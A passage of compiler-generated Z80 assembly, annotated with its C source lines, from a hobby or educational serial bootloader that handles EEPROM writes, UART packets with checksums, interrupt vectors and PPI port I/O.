jr NC,00103$
;./include/z80eeprom.h:108: if(!eeprom_write(address+i, data_buffer[i]))
ld l,6 (ix)
ld h,7 (ix)
add hl,de
ld h,(hl)
ld a,4 (ix)
add a, c
ld c,a
ld a,5 (ix)
adc a, b
ld b,a
push de
push hl
inc sp
push bc
call _eeprom_write
pop af
inc sp
ld a,l
pop de
;./include/z80eeprom.h:109: return 0;
or a,a
jr NZ,00102$
ld l,a
jr 00107$
00102$:
;./include/z80eeprom.h:110: NOP();
NOP
;./include/z80eeprom.h:106: for (i = 0; i < data_length; i++){
inc de
jr 00105$
00103$:
;./include/z80eeprom.h:112: delay_ms(1000);
ld hl,#0x03E8
push hl
call _delay_ms
pop af
;./include/z80eeprom.h:113: return 1;
ld l,#0x01
00107$:
pop ix
ret
;./include/z80eeprom.h:117: void eeprom_read(uint16_t address, uint8_t* data){
; ---------------------------------
; Function eeprom_read
; ---------------------------------
_eeprom_read::
;./include/z80eeprom.h:119: if(address <= EEPROM_SIZE){
ld a,#0xFF
ld iy,#2
add iy,sp
cp a, 0 (iy)
ld a,#0x7F
sbc a, 1 (iy)
ret C
;./include/z80eeprom.h:122: *data = *(uint8_t*)address;
ld hl, #4
add hl, sp
ld e, (hl)
inc hl
ld d, (hl)
pop bc
pop hl
push hl
push bc
ld a,(hl)
ld (de),a
ret
;./include/z80eeprom.h:126: void eeprom_read_buffer(uint16_t address, uint8_t* data_buffer, uint16_t data_length){
; ---------------------------------
; Function eeprom_read_buffer
; ---------------------------------
_eeprom_read_buffer::
push ix
ld ix,#0
add ix,sp
;./include/z80eeprom.h:128: for (i = 0; i < data_length; i++)
ld de,#0x0000
00103$:
ld c, e
ld b, d
ld a,c
sub a, 8 (ix)
ld a,b
sbc a, 9 (ix)
jr NC,00105$
;./include/z80eeprom.h:129: eeprom_read(address+i,data_buffer+i);
ld l,6 (ix)
ld h,7 (ix)
add hl,de
ld a,4 (ix)
add a, c
ld c,a
ld a,5 (ix)
adc a, b
ld b,a
push de
push hl
push bc
call _eeprom_read
pop af
pop af
pop de
;./include/z80eeprom.h:128: for (i = 0; i < data_length; i++)
inc de
jr 00103$
00105$:
pop ix
ret
;./include/z80eeprom.h:133: void write_byte(uint8_t dir_alta ,uint8_t dir_baja , uint8_t dato)
; ---------------------------------
; Function write_byte
; ---------------------------------
_write_byte::
;./include/z80eeprom.h:136: data = dato; // byte que se va a escribir
ld iy,#4
add iy,sp
ld a,0 (iy)
ld iy,#_data
ld 0 (iy),a
;./include/z80eeprom.h:137: address_hight = dir_alta; // direccion en la que se va a escribir
ld iy,#2
add iy,sp
ld a,0 (iy)
ld iy,#_address_hight
ld 0 (iy),a
;./include/z80eeprom.h:138: address_low= dir_baja;
ld iy,#3
add iy,sp
ld a,0 (iy)
ld iy,#_address_low
ld 0 (iy),a
;./include/z80eeprom.h:147: __endasm;
LD A,(_address_hight)
LD H,A
LD A,(_address_low)
LD L,A
LD A,(_data)
LD (HL), A
;./include/z80eeprom.h:152: __endasm;
call 0xB000
ret
;./include/packet.h:96: void packet_fill(packet_t *nuevo, uint8_t packet_type, uint8_t packet_number, uint8_t* packet_data, uint8_t data_length){
; ---------------------------------
; Function packet_fill
; ---------------------------------
_packet_fill::
push ix
ld ix,#0
add ix,sp
push af
push af
dec sp
;./include/packet.h:100: nuevo->mark = PACKET_MARK;
ld e,4 (ix)
ld d,5 (ix)
ld a,#0x3A
ld (de),a
;./include/packet.h:102: nuevo->data_length = data_length;
ld l, e
ld h, d
inc hl
ld a,10 (ix)
ld (hl),a
;./include/packet.h:103: checksum+= data_length;
ld a,10 (ix)
add a, #0x3A
ld b,a
;./include/packet.h:104: nuevo->number = packet_number;
ld l, e
ld h, d
inc hl
inc hl
ld a,7 (ix)
ld (hl),a
;./include/packet.h:105: checksum+= packet_number;
ld a,b
add a, 7 (ix)
ld b,a
;./include/packet.h:106: nuevo->type = packet_type;
ld l, e
ld h, d
inc hl
inc hl
inc hl
ld a,6 (ix)
ld (hl),a
;./include/packet.h:107: checksum+= packet_type;
ld a,b
add a, 6 (ix)
ld -3 (ix),a
;./include/packet.h:109: for (i= 0; i < data_length; ++i)
ld hl,#0x0004
add hl,de
ld -2 (ix),l
ld -1 (ix),h
ld bc,#0x0000
00103$:
ld h,10 (ix)
ld l,#0x00
ld a,c
sub a, h
ld a,b
sbc a, l
jp PO, 00116$
xor a, #0x80
00116$:
jp P,00101$
;./include/packet.h:111: nuevo->data[i] = packet_data[i];
ld a,-2 (ix)
add a, c
ld -5 (ix),a
ld a,-1 (ix)
adc a, b
ld -4 (ix),a
push hl
ld l,8 (ix)
ld h,9 (ix)
push hl
pop iy
pop hl
add iy, bc
ld a, 0 (iy)
pop hl
push hl
ld (hl),a
;./include/packet.h:112: checksum+= packet_data[i];
ld h, 0 (iy)
ld a,-3 (ix)
add a, h
ld -3 (ix),a
;./include/packet.h:109: for (i= 0; i < data_length; ++i)
inc bc
jr 00103$
00101$:
;./include/packet.h:115: nuevo->checksum = checksum;
ld hl,#0x0103
add hl,de
ld a,-3 (ix)
ld (hl),a
ld sp, ix
pop ix
ret
;./include/packet.h:118: uint8_t packet_check(packet_t *p)
; ---------------------------------
; Function packet_check
; ---------------------------------
_packet_check::
push ix
ld ix,#0
add ix,sp
push af
push af
;./include/packet.h:123: check_sum+= p->mark;
ld c,4 (ix)
ld b,5 (ix)
ld a,(bc)
ld d,a
;./include/packet.h:124: check_sum+= p->data_length;
ld l, c
ld h, b
inc hl
ld a,(hl)
ld -3 (ix),a
ld a,d
add a, -3 (ix)
ld d,a
;./include/packet.h:125: check_sum+= p->number;
ld l, c
ld h, b
inc hl
inc hl
ld h,(hl)
ld a,d
add a, h
ld d,a
;./include/packet.h:126: check_sum+= p->type;
push bc
pop iy
ld h,3 (iy)
ld a,d
add a, h
ld -4 (ix),a
;./include/packet.h:128: for (i= 0; i < p->data_length; ++i)
ld hl,#0x0004
add hl,bc
ld -2 (ix),l
ld -1 (ix),h
ld de,#0x0000
00106$:
ld h,-3 (ix)
ld l,#0x00
ld a,e
sub a, h
ld a,d
sbc a, l
jp PO, 00123$
xor a, #0x80
00123$:
jp P,00101$
;./include/packet.h:129: check_sum+= p->data[i];
ld l,-2 (ix)
ld h,-1 (ix)
add hl,de
ld h,(hl)
ld a,-4 (ix)
add a, h
ld -4 (ix),a
;./include/packet.h:128: for (i= 0; i < p->data_length; ++i)
inc de
jr 00106$
00101$:
;./include/packet.h:132: if(check_sum == p->checksum)
ld l, c
ld h, b
ld de, #0x0103
add hl, de
ld a,-4 (ix)
sub a,(hl)
jr NZ,00103$
;./include/packet.h:133: return 1;
ld l,#0x01
jr 00108$
00103$:
;./include/packet.h:135: return 0;
ld l,#0x00
00108$:
ld sp, ix
pop ix
ret
;./include/packet.h:138: uint8_t packet_read(packet_t *nuevo)
; ---------------------------------
; Function packet_read
; ---------------------------------
_packet_read::
push ix
ld ix,#0
add ix,sp
push af
push af
;./include/packet.h:148: while((c=uart_read()) != PACKET_MARK)
ld bc,#0x0000
00103$:
push bc
call _uart_read
ld a,l
pop bc
ld e,a
sub a, #0x3A
jr Z,00105$
;./include/packet.h:150: intent_count++;
inc bc
;./include/packet.h:151: if(intent_count>=MAX_PACKET_READ_INTENTS)
ld a,c
sub a, #0x32
ld a,b
rla
ccf
rra
sbc a, #0x80
jr C,00103$
;./include/packet.h:152: return 0;
ld l,#0x00
jr 00110$
00105$:
;./include/packet.h:154: nuevo->mark = c; // Asigna marca a paquete
ld c,4 (ix)
ld b,5 (ix)
ld a,e
ld (bc),a
;./include/packet.h:155: nuevo->data_length =uart_read(); // Lee numero de datos que contiene el paquete.
ld hl,#0x0001
add hl,bc
ex (sp), hl
push bc
call _uart_read
ld a,l
pop bc
pop hl
push hl
ld (hl),a
;./include/packet.h:156: nuevo->number=uart_read(); // Lee el numero de paquete
ld l, c
ld h, b
inc hl
inc hl
push hl
push bc
call _uart_read
ld a,l
pop bc
pop hl
ld (hl),a
;./include/packet.h:157: nuevo->type=uart_read(); // Lee tipo de paquete.
ld l, c
ld h, b
inc hl
inc hl
inc hl
push hl
push bc
call _uart_read
ld a,l
pop bc
pop hl
ld (hl),a
;./include/packet.h:158: for(i= 0; i< nuevo->data_length; i++)
ld hl,#0x0004
add hl,bc
ld -2 (ix),l
ld -1 (ix),h
ld de,#0x0000
00108$:
pop hl
push hl
ld h,(hl)
ld l,#0x00
ld a,e
sub a, h
ld a,d
sbc a, l
jp PO, 00134$
xor a, #0x80
00134$:
jp P,00106$
;./include/packet.h:160: nuevo->data[i]=uart_read(); // Lee los datos del paquete.
ld l,-2 (ix)
ld h,-1 (ix)
add hl,de
push hl
push bc
push de
call _uart_read
ld a,l
pop de
pop bc
pop hl
ld (hl),a
;./include/packet.h:158: for(i= 0; i< nuevo->data_length; i++)
inc de
jr 00108$
00106$:
;./include/packet.h:162: nuevo->checksum = uart_read(); // Lee el checksum de el paquete.
ld hl,#0x0103
add hl,bc
push hl
call _uart_read
ld a,l
pop hl
ld (hl),a
;./include/packet.h:163: return 1;
ld l,#0x01
00110$:
ld sp, ix
pop ix
ret
;./include/packet.h:166: void packet_send(packet_t *p){
; ---------------------------------
; Function packet_send
; ---------------------------------
_packet_send::
push ix
ld ix,#0
add ix,sp
;./include/packet.h:168: uart_write(p->mark); // Envía la marca.
ld e,4 (ix)
ld d,5 (ix)
ld a,(de)
push de
push af
inc sp
call _uart_write
inc sp
pop de
;./include/packet.h:169: uart_write(p->data_length); // Envia el tamaño de datos.
ld c, e
ld b, d
inc bc
ld a,(bc)
push bc
push de
push af
inc sp
call _uart_write
inc sp
pop de
pop bc
;./include/packet.h:170: uart_write(p->number); // Envía el número de paquete.
ld l, e
ld h, d
inc hl
inc hl
ld h,(hl)
push bc
push de
push hl
inc sp
call _uart_write
inc sp
pop de
pop bc
;./include/packet.h:171: uart_write(p->type); // Envía el tipo de paquete.
push de
pop iy
ld h,3 (iy)
push bc
push de
push hl
inc sp
call _uart_write
inc sp
pop de
pop bc
;./include/packet.h:172: uart_write_buffer(p->data, p->data_length); // Envia los datos del paquete.
ld a,(bc)
ld c,a
ld b,#0x00
ld hl,#0x0004
add hl,de
push de
push bc
push hl
call _uart_write_buffer
pop af
pop af
;./include/packet.h:173: uart_write(p->checksum); // Envia el checksum del paquete.
pop hl
ld de, #0x0103
add hl, de
ld h,(hl)
push hl
inc sp
call _uart_write
inc sp
pop ix
ret
;./include/z80bootloader.h:75: void bootloader_init(){
; ---------------------------------
; Function bootloader_init
; ---------------------------------
_bootloader_init::
push af
push af
dec sp
;./include/z80bootloader.h:83: uart_config.baudrate = UART_BAUDRATE_9600;
ld hl,#0x0000
add hl,sp
ld (hl),#0x1A
;./include/z80bootloader.h:84: uart_config.stop_bits = UART_STOP_BITS_1;
ld hl,#0x0000
add hl,sp
ld e,l
ld d,h
inc hl
ld (hl),#0x00
;./include/z80bootloader.h:85: uart_config.parity = UART_PARITY_NONE;
ld l, e
ld h, d
inc hl
inc hl
ld (hl),#0x00
;./include/z80bootloader.h:86: uart_config.word_length = UART_WORD_LENGTH_8;
ld l, e
ld h, d
inc hl
inc hl
inc hl
ld (hl),#0x03
;./include/z80bootloader.h:87: uart_config.interrupt = UART_INTERRUPT_RX;
ld hl,#0x0004
add hl,de
ld (hl),#0x01
;./include/z80bootloader.h:89: uart_init(&uart_config);
push de
call _uart_init
pop af
;./include/z80bootloader.h:93: old_app_int_isr_addr = *ptr_int_isr;
ld hl,(_ptr_int_isr)
ld a,(hl)
ld iy,#_old_app_int_isr_addr
ld 0 (iy),a
inc hl
ld a,(hl)
ld (#_old_app_int_isr_addr + 1),a
;./include/z80bootloader.h:94: old_app_int_isr_addr_l = *ptr_int_isr_l;
ld hl,(_ptr_int_isr_l)
ld a,(hl)
ld (#_old_app_int_isr_addr_l + 0),a
;./include/z80bootloader.h:95: old_app_int_isr_addr_h = *ptr_int_isr_h;
ld hl,(_ptr_int_isr_h)
ld a,(hl)
ld (#_old_app_int_isr_addr_h + 0),a
;./include/z80bootloader.h:96: old_app_nmi_isr_addr = *ptr_nmi_isr;
ld hl,(_ptr_nmi_isr)
ld a,(hl)
ld iy,#_old_app_nmi_isr_addr
ld 0 (iy),a
inc hl
ld a,(hl)
ld (#_old_app_nmi_isr_addr + 1),a
;./include/z80bootloader.h:97: old_app_nmi_isr_addr_l = *ptr_nmi_isr_l;
ld hl,(_ptr_nmi_isr_l)
ld a,(hl)
ld (#_old_app_nmi_isr_addr_l + 0),a
;./include/z80bootloader.h:98: old_app_nmi_isr_addr_h = *ptr_nmi_isr_h;
ld hl,(_ptr_nmi_isr_h)
ld a,(hl)
ld (#_old_app_nmi_isr_addr_h + 0),a
;./include/z80bootloader.h:101: eeprom_write((uint16_t)(ptr_int_isr_l),(uint8_t)&uart_interrupt_isr);
ld b,#<(_uart_interrupt_isr)
ld de,(_ptr_int_isr_l)
push bc
inc sp
push de
call _eeprom_write
pop af
inc sp
;./include/z80bootloader.h:102: eeprom_write((uint16_t)ptr_int_isr_h,(uint8_t)((uint16_t)(&uart_interrupt_isr)>> 8));
ld hl,#_uart_interrupt_isr
ld a, h
ld hl, (_ptr_int_isr_h)
push af
inc sp
push hl
call _eeprom_write
pop af
inc sp
;./include/z80bootloader.h:103: IM(1); // Modo de interrupción 1
IM 1
;./include/z80bootloader.h:104: EI(); // Habilita interrupciones.
EI
pop af
pop af
inc sp
ret
;./include/z80bootloader.h:107: uint8_t bootloader_check_program_commnad(){
; ---------------------------------
; Function bootloader_check_program_commnad
; ---------------------------------
_bootloader_check_program_commnad::
;./include/z80bootloader.h:114: while(1){
ld de,#0x0000
00108$:
;./include/z80bootloader.h:117: if(uart_available()){
push de
call _uart_available
pop de
ld a,h
or a,l
jr Z,00104$
;./include/z80bootloader.h:119: if(uart_read() == BOOTLOADER_PROGRAM_COMMAND)
push de
call _uart_read
ld a,l
pop de
sub a, #0x40
jr NZ,00104$
;./include/z80bootloader.h:122: return 1;
ld l,#0x01
ret
00104$:
;./include/z80bootloader.h:126: delay_ms(1);
push de
ld hl,#0x0001
push hl
call _delay_ms
pop af
pop de
;./include/z80bootloader.h:128: time_spend+=1;
inc de
;./include/z80bootloader.h:132: if(time_spend >= BOOTLOADER_PROGRAM_COMMAND_TIMEOUT)
ld a,e
sub a, #0x20
ld a,d
rla
ccf
rra
sbc a, #0x83
jr C,00108$
;./include/z80bootloader.h:133: return 0;
ld l,#0x00
ret
;./include/z80bootloader.h:138: int bootloader_run(){
; ---------------------------------
; Function bootloader_run
; ---------------------------------
_bootloader_run::
push ix
ld ix,#0
add ix,sp
ld hl,#-16390
add hl,sp
ld sp,hl
;./include/z80bootloader.h:140: uint8_t is_exit=0;
ld -3 (ix),#0x00
;./include/z80bootloader.h:141: uint8_t intent_count=0;
ld iy,#0
add iy,sp
ld 0 (iy),#0x00
;./include/z80bootloader.h:145: int mem_buffer_index=0;
ld hl, #1
add hl, sp
xor a, a
ld (hl), a
inc hl
ld (hl), a
;./include/z80bootloader.h:146: delay_ms(300);
ld hl,#0x012C
push hl
call _delay_ms
pop af
;./include/z80bootloader.h:148: while(is_exit==0)
ld hl,#0x0003
add hl,sp
ld -2 (ix),l
ld -1 (ix),h
00131$:
ld a,-3 (ix)
or a, a
jp NZ,00133$
;./include/z80bootloader.h:152: if(packet_read(&pkg_in))
ld hl,#_pkg_in
push hl
call _packet_read
pop af
ld a,l
or a, a
jp Z,00129$
;./include/z80bootloader.h:154: intent_count=0;
ld iy,#0
add iy,sp
ld 0 (iy),#0x00
;./include/z80bootloader.h:156: if(packet_check(&pkg_in) == 0){
ld hl,#_pkg_in+0
push hl
call _packet_check
pop af
ld a,l
or a, a
jr NZ,00124$
;./include/z80bootloader.h:158: packet_fill(&pkg_out, PACKET_TYPE_NAK,pkg_in.number, NULL, 0);
ld hl, #(_pkg_in + 0x0002) + 0
ld c,(hl)
ld de,#_pkg_out
xor a, a
push af
inc sp
ld hl,#0x0000
push hl
ld b, c
ld c,#0x4E
push bc
push de
call _packet_fill
ld hl,#7
add hl,sp
ld sp,hl
;./include/z80bootloader.h:160: packet_send(&pkg_out);
ld hl,#_pkg_out
push hl
call _packet_send
pop af
;./include/z80bootloader.h:161: uart_flush();
call _uart_flush
jr 00131$
00124$:
;./include/z80bootloader.h:166: packet_fill(&pkg_out, PACKET_TYPE_ACK, pkg_in.number, NULL, 0);
ld hl,#_pkg_in+2
ld d,(hl)
ld bc,#_pkg_out+0
xor a, a
push af
inc sp
ld hl,#0x0000
push hl
ld e, #0x41
push de
push bc
call _packet_fill
ld hl,#7
add hl,sp
ld sp,hl
;./include/z80bootloader.h:167: uart_flush();
call _uart_flush
;./include/z80bootloader.h:170: switch(pkg_in.type){
ld a,(#_pkg_in+3)
cp a,#0x44
jr Z,00109$
cp a,#0x46
jp Z,00119$
cp a,#0x53
jr Z,00101$
sub a, #0x5A
jp Z,00118$
jp 00122$
;./include/z80bootloader.h:171: case PACKET_TYPE_ADDRES: // Si es paquete de direccion.
00101$:
;./include/z80bootloader.h:176: if(INT_ISR_ADDR == pkg_in.data[1] && INT_ISR_ADDR>>8 == pkg_in.data[0])
ld a,(#_pkg_in+5)
sub a, #0x38
jr NZ,00106$
ld a, (#(_pkg_in + 0x0004) + 0)
or a, a
jr NZ,00106$
;./include/z80bootloader.h:179: aux_address_l= pkg_in.data[1];
ld a,(#_pkg_in+5)
ld (#_aux_address_l + 0),a
;./include/z80bootloader.h:180: aux_address_h= pkg_in.data[0];
ld a,(#_pkg_in+4)
ld (#_aux_address_h + 0),a
jp 00122$
00106$:
;./include/z80bootloader.h:183: if(NMI_ISR_ADDR == pkg_in.data[1] && NMI_ISR_ADDR>>8 == pkg_in.data[0]){
ld a,(#_pkg_in+5)
sub a, #0x66
jp NZ,00122$
ld a, (#(_pkg_in + 0x0004) + 0)
or a, a
jp NZ,00122$
;./include/z80bootloader.h:185: aux_address_l= pkg_in.data[1];
ld a,(#_pkg_in+5)
ld (#_aux_address_l + 0),a
;./include/z80bootloader.h:186: aux_address_h= pkg_in.data[0];
ld a,(#_pkg_in+4)
ld (#_aux_address_h + 0),a
;./include/z80bootloader.h:189: break;
jp 00122$
;./include/z80bootloader.h:190: case PACKET_TYPE_DATA: // Si es paquete de datos.
00109$:
;./include/z80bootloader.h:192: if(INT_ISR_ADDR == aux_address_l && INT_ISR_ADDR>>8 == aux_address_h){
ld a,(#_aux_address_l + 0)
sub a, #0x38
jr NZ,00115$
ld a,(#_aux_address_h + 0)
or a, a
jr NZ,00115$
;./include/z80bootloader.h:194: old_app_int_isr_addr_l= pkg_in.data[0];
ld a,(#_pkg_in+4)
ld (#_old_app_int_isr_addr_l + 0),a
;./include/z80bootloader.h:195: old_app_int_isr_addr_h= pkg_in.data[1];
ld a,(#_pkg_in+5)
ld (#_old_app_int_isr_addr_h + 0),a
;./include/z80bootloader.h:196: aux_address_l=0x00;
ld hl,#_aux_address_l + 0
ld (hl), #0x00
;./include/z80bootloader.h:197: aux_address_h=0x00;
ld hl,#_aux_address_h + 0
ld (hl), #0x00
jp 00122$
00115$:
;./include/z80bootloader.h:200: if(NMI_ISR_ADDR == aux_address_l && NMI_ISR_ADDR>>8 == aux_address_h){
ld a,(#_aux_address_l + 0)
sub a, #0x66
jr NZ,00111$
ld a,(#_aux_address_h + 0)
or a, a
jr NZ,00111$
;./include/z80bootloader.h:202: old_app_nmi_isr_addr_l= pkg_in.data[0];
ld a,(#_pkg_in+4)
ld (#_old_app_nmi_isr_addr_l + 0),a
;./include/z80bootloader.h:203: old_app_nmi_isr_addr_h= pkg_in.data[1];
ld a,(#_pkg_in+5)
ld (#_old_app_nmi_isr_addr_h + 0),a
;./include/z80bootloader.h:204: aux_address_l=0x00;
ld hl,#_aux_address_l + 0
ld (hl), #0x00
;./include/z80bootloader.h:205: aux_address_h=0x00;
ld hl,#_aux_address_h + 0
ld (hl), #0x00
jr 00122$
00111$:
;./include/z80bootloader.h:209: memcpy(&mem_buffer[mem_buffer_index], pkg_in.data, pkg_in.data_length);
ld a,-2 (ix)
ld hl,#1
add hl,sp
add a, (hl)
ld e,a
ld a,-1 (ix)
inc hl
adc a, (hl)
ld d,a
ld bc,#_pkg_in+4
ld hl,#_pkg_in+1
ld l,(hl)
ld h,#0x00
push hl
push bc
push de
call _memcpy
ld hl,#6
add hl,sp
ld sp,hl
;./include/z80bootloader.h:210: mem_buffer_index += pkg_in.data_length;
ld hl,#_pkg_in+1
ld e,(hl)
ld d,#0x00
ld hl,#1
add hl,sp
ld a,(hl)
add a, e
ld (hl),a
inc hl
ld a,(hl)
adc a, d
ld (hl),a
;./include/z80bootloader.h:224: break;
jr 00122$
;./include/z80bootloader.h:226: case PACKET_TYPE_EOF: // Si es paquete de fin de archivo
00118$:
;./include/z80bootloader.h:227: is_exit=1; // Termina el programa bootloader correctamente.
ld -3 (ix),#0x01
;./include/z80bootloader.h:228: break;
jr 00122$
;./include/z80bootloader.h:230: case PACKET_TYPE_FILE_HEADER:
00119$:
;./include/z80bootloader.h:233: app_program_size = *(uint16_t*)pkg_in.data;
ld hl,#_pkg_in+4
ld d,(hl)
inc hl
ld h,(hl)
;./include/z80bootloader.h:235: if(app_program_size >= APP_SIZE){
ld a,d
sub a, #0xFA
ld a,h
sbc a, #0x17
jr C,00122$
;./include/z80bootloader.h:237: packet_fill(&pkg_out, PACKET_TYPE_ERROR,pkg_in.number, NULL, 0);
ld hl,#_pkg_in+2
ld d,(hl)
ld bc,#_pkg_out+0
xor a, a
push af
inc sp
ld hl,#0x0000
push hl
ld e, #0x45
push de
push bc
call _packet_fill
ld hl,#7
add hl,sp
ld sp,hl
;./include/z80bootloader.h:238: return 0;
ld hl,#0x0000
jr 00134$
;./include/z80bootloader.h:242: }
00122$:
;./include/z80bootloader.h:244: packet_send(&pkg_out);
ld hl,#_pkg_out+0
push hl
call _packet_send
pop af
jp 00131$
00129$:
;./include/z80bootloader.h:249: intent_count++;
ld iy,#0
add iy,sp
inc 0 (iy)
;./include/z80bootloader.h:251: if(intent_count >= MAX_READS_INTENTS)
ld a,0 (iy)
sub a, #0x0A
jp C,00131$
;./include/z80bootloader.h:253: return 0;
ld hl,#0x0000
jr 00134$
00133$:
;./include/z80bootloader.h:260: eeprom_write_buffer(0x0080, mem_buffer, mem_buffer_index+1);
ld hl, #1
add hl, sp
ld e, (hl)
inc hl
ld d, (hl)
inc de
ld l,-2 (ix)
ld h,-1 (ix)
push de
push hl
ld hl,#0x0080
push hl
call _eeprom_write_buffer
ld hl,#6
add hl,sp
ld sp,hl
;./include/z80bootloader.h:261: packet_fill(&pkg_out, PACKET_TYPE_EOF,pkg_in.number, NULL, 0);
ld hl, #(_pkg_in + 0x0002) + 0
ld b,(hl)
ld de,#_pkg_out
xor a, a
push af
inc sp
ld hl,#0x0000
push hl
push bc
inc sp
ld a,#0x5A
push af
inc sp
push de
call _packet_fill
ld hl,#7
add hl,sp
ld sp,hl
;./include/z80bootloader.h:262: delay_ms(500);
ld hl,#0x01F4
push hl
call _delay_ms
;./include/z80bootloader.h:263: packet_send(&pkg_out);
ld hl, #_pkg_out
ex (sp),hl
call _packet_send
;./include/z80bootloader.h:264: packet_send(&pkg_out);
ld hl, #_pkg_out
ex (sp),hl
call _packet_send
;./include/z80bootloader.h:265: packet_send(&pkg_out);
ld hl, #_pkg_out
ex (sp),hl
call _packet_send
pop af
;./include/z80bootloader.h:266: return 1;
ld hl,#0x0001
00134$:
ld sp, ix
pop ix
ret
;./include/z80bootloader.h:271: void bootloader_start_app(){
; ---------------------------------
; Function bootloader_start_app
; ---------------------------------
_bootloader_start_app::
;./include/z80bootloader.h:275: eeprom_write((uint16_t)ptr_int_isr_l,old_app_int_isr_addr_l);
ld de,(_ptr_int_isr_l)
ld a,(_old_app_int_isr_addr_l)
push af
inc sp
push de
call _eeprom_write
pop af
inc sp
;./include/z80bootloader.h:276: eeprom_write((uint16_t)ptr_int_isr_h,old_app_int_isr_addr_h);
ld de,(_ptr_int_isr_h)
ld a,(_old_app_int_isr_addr_h)
push af
inc sp
push de
call _eeprom_write
pop af
inc sp
;./include/z80bootloader.h:277: eeprom_write((uint16_t)ptr_nmi_isr_l,old_app_nmi_isr_addr_l);
ld de,(_ptr_nmi_isr_l)
ld a,(_old_app_nmi_isr_addr_l)
push af
inc sp
push de
call _eeprom_write
pop af
inc sp
;./include/z80bootloader.h:278: eeprom_write((uint16_t)ptr_nmi_isr_h,old_app_nmi_isr_addr_h);
ld de,(_ptr_nmi_isr_h)
ld a,(_old_app_nmi_isr_addr_h)
push af
inc sp
push de
call _eeprom_write
pop af
inc sp
;./include/z80bootloader.h:281: if(*((uint8_t*)(0x0080)) == 0x00 || *((uint8_t*)(0x0080)) == 0xFF)
ld hl,#0x0080
ld a,(hl)
or a, a
jr Z,00101$
inc a
jr NZ,00102$
00101$:
;./include/z80bootloader.h:283: eeprom_write(0x0080,0x76);
ld a,#0x76
push af
inc sp
ld hl,#0x0080
push hl
call _eeprom_write
pop af
inc sp
00102$:
;./include/z80bootloader.h:288: __endasm;
call #0x0080
ret
;./include/smz80.h:328: void io_write(char port_addr, char data){
; ---------------------------------
; Function io_write
; ---------------------------------
_io_write::
;./include/smz80.h:339: __endasm;
ld ix, #2
add ix,sp
ld c, (ix)
inc ix
ld a,(ix)
out (c), a
ret
;./include/smz80.h:353: char io_read(char port_addr){
; ---------------------------------
; Function io_read
; ---------------------------------
_io_read::
;./include/smz80.h:365: __endasm;
LD IX, #2
ADD IX,SP
LD C, (IX)
IN A,(C)
LD (___ret_aux),A
;./include/smz80.h:367: return __ret_aux;
ld iy,#___ret_aux
ld l,0 (iy)
ret
;./include/smz80.h:379: void io_write_buffer(char port_addr, char* buffer_out, char count){
; ---------------------------------
; Function io_write_buffer
; ---------------------------------
_io_write_buffer::
;./include/smz80.h:395: __endasm;
LD IX, #2
ADD IX,SP
LD C, (IX)
INC IX
LD L,(IX)
INC IX
LD H,(IX)
INC IX
LD B,(IX)
OTIR
ret
;./include/smz80.h:406: void io_read_buffer(char port_addr, char* buffer_in, char count){
; ---------------------------------
; Function io_read_buffer
; ---------------------------------
_io_read_buffer::
;./include/smz80.h:423: __endasm;
LD IX, #2
ADD IX,SP
LD C, (IX)
INC IX
LD L,(IX)
INC IX
LD H,(IX)
INC IX
LD B,(IX)
INIR
ret
;./include/smz80.h:436: void ppi_init(const ppi_cfg_t *ppi_config){
; ---------------------------------
; Function ppi_init
; ---------------------------------
_ppi_init::
push ix
ld ix,#0
add ix,sp
;./include/smz80.h:438: PPI_CTRL = 0x80 | ppi_config->mode | (ppi_config->pcl_dir << PCPCL) | (ppi_config->pch_dir << PCPCH) | (ppi_config->pa_dir << PCPA) | (ppi_config->pb_dir << PCPB);
ld c,4 (ix)
ld b,5 (ix)
ld a,(bc)
set 7, a
ld e,a
push bc
pop iy
ld a,3 (iy)
or a, e
ld e,a
push bc
pop iy
ld a,4 (iy)
rlca
rlca
rlca
and a,#0xF8
or a, e
ld e,a
ld l, c
ld h, b
inc hl
ld a,(hl)
rlca
rlca
rlca
rlca
and a,#0xF0
or a, e
ld d,a
ld l, c
ld h, b
inc hl
inc hl
ld a,(hl)
add a, a
or a, d
out (_PPI_CTRL),a
pop ix
ret
;./include/smz80.h:447: void ppi_set_portc_bit(const char bit){
; ---------------------------------
; Function ppi_set_portc_bit
; ---------------------------------
_ppi_set_portc_bit::
;./include/smz80.h:449: PPI_CTRL = 1 | bit << 1;
ld hl, #2+0
add hl, sp
ld a, (hl)
add a, a
set 0, a
out (_PPI_CTRL),a
ret
;./include/smz80.h:458: void ppi_clear_portc_bit(const char bit){
; ---------------------------------
; Function ppi_clear_portc_bit
; ---------------------------------
_ppi_clear_portc_bit::
;./include/smz80.h:460: PPI_CTRL = bit << 1;
ld hl, #2+0
add hl, sp
ld a, (hl)
add a, a
out (_PPI_CTRL),a
ret
;main.c:44: ISR_NMI(){
; ---------------------------------
; Function isr_vector66
; ---------------------------------
_isr_vector66::
push af
push bc
push de
push hl
push iy
;main.c:48: }
pop iy
pop hl
pop de
pop bc
pop af
retn
;main.c:50: ISR_INT_38(){
; ---------------------------------
; Function isr_vector38
; ---------------------------------
_isr_vector38::
push af
push bc
push de
push hl
push iy
;main.c:52: }
pop iy
pop hl
pop de
pop bc
pop af
reti
;main.c:54: void init_system(){
; ---------------------------------
; Function init_system
; ---------------------------------
_init_system::
;main.c:55: PPI_CTRL=0x80;
ld a,#0x80
out (_PPI_CTRL),a
;main.c:57: write_byte_EEPROM_ptr = (void*)write_byte_EEPROM_RAM; // apuntador de fincion guardada en ram para escribir un byte en eeprom
ld hl,#0xA000
ld (_write_byte_EEPROM_ptr),hl
;main.c:58: delay_1ms_ptr = (void*)delay_1ms_RAM; // apuntador de funcion guardada en ram para esperar un mili-segundo.
ld h, #0xB0
ld (_delay_1ms_ptr),hl
;main.c:59: copeaBloque((uint16_t)&write_byte,write_byte_EEPROM_RAM,0x50); // copea funcion write_byte de eprom a ram.
ld de,#_write_byte
ld a,#0x50
push af
inc sp
ld h, #0xA0
push hl
push de
call _copeaBloque
pop af
pop af
inc sp
;main.c:60: copeaBloque((uint16_t)&delay_1ms,delay_1ms_RAM,0x30);// copea funcion de delay_1ms de eeprom a ram.
ld de,#_delay_1ms
ld a,#0x30
push af
inc sp
ld hl,#0xB000
push hl
push de
call _copeaBloque
pop af
pop af
inc sp
;main.c:61: bootloader_init();
jp _bootloader_init
;main.c:64: int main(){
; ---------------------------------
; Function main
; ---------------------------------
_main::
ld hl,#-260
add hl,sp
ld sp,hl
;main.c:79: init_system();
call _init_system
;main.c:95: uart_write('1');
ld a,#0x31
push af
inc sp
call _uart_write
inc sp
;main.c:100: if(bootloader_check_program_commnad())
